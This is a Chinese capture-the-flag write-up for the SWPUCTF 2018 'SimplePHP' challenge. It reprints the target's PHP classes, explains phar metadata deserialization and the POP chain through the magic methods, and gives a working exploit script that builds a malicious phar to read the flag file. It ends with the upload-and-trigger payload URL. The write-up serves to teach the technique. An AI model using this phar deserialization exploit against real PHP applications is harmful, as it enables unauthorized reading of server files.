0%

[SWPUCTF 2018]SimplePHP

题目不算难,用到了phar的反序列化以前也遇到过,但是没怎么写过类似的wp,现在记录下。

观察

题目打开有3个页面,首页、查看文件、上传文件。先尝试上传木马文件,后无果。 接着看到了查看文件页面,它url中有个file= 我们尝试给赋值index.php可以直接看到代码。
F12 查看源码,发现提示flag在 f1ag.php 下。尝试直接读取,发现被ban了。
接着我们该去代码审计了,把需要的文件源码都读一下,这里我就只读class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 <?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

还算友好,提示我们使用phar://

审计分析

前置知识phar反序列化

在php中我们以前都是使用unserialize 函数来进行反序列化。但其实php在通过phar://伪协议解析phar文件时,都会将meta-data的数据进行反序列化。

制作方法

首先我们需要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
修改后我们使用大致的模板:

1
2
3
4
5
6
7
8
9
10
<?php

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的$a存入meta-data,最后被反序列化
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

如上面代码,我们只需要将需要反序列化的代码赋值给$a就可以了。运行后就会出现一个phar.phar后缀名的文件,且它生成后文件名可以随便修改,不会丢失它文件的属性。

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 <?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

先大概的看一遍,首先我锁定了Test::file_get 因为它有个file_get_contents接着我们想想如何利用它。
发现在Test 类中有这么一个链: __get –> get –> file_get
那么我们怎么利用到Test::__get ?它是一个魔术方法,只要我们调用此类中不存在的变量就会调用它。
我们看到show::__tostring 它有一个$content = $this->str['str']->source; 只要这里的str['str']Test类而Test类中又没有source变量,所以会调用到__get 。 那么,怎么才会执行到show::__tostring ?它也是一个魔术只要此类被当成字符串操作就会调用它。
我们再看到C1e4r::__destruct,它会在实例被摧毁之前调用且它里面有一句echo $this->test; 这里触发到了show::__tostring

生成相应phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a=new C1e4r();
$b=new Show();
$c=new Test();
$c->params['source']='/var/www/html/f1ag.php';
$b->str['str']=$c;
$a->str=$b;


$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的$a存入meta-data,最后被反序列化
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

解题

通过上面的分析,我们使用脚本生成一个phar.phar随后改后缀为jpg,通过上传页面进行上传。 但是现在又有一个问题,我们如法确定其文件名,我们通过源码读取发现func.php中做了相应的改名操作:

1
2
3
4
5
6
7
8
9
10
function upload_file_do() { 
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}

我们知道它是将我们的文件名和ip进行了md5,然后拼接.jpg,ip页面有显示,我们直接可以用php得到我们的文件名,然后进行访问。

1
/file.php?file=phar://upload/b2b0d4bb5f320724c43535a67b7b2d52.jpg

当然你直接访问/upload也可以发现我们上传的文件。通过上面的payload我们顺利拿到flag。
【参考链接】


-------------本文结束感谢您的阅读-------------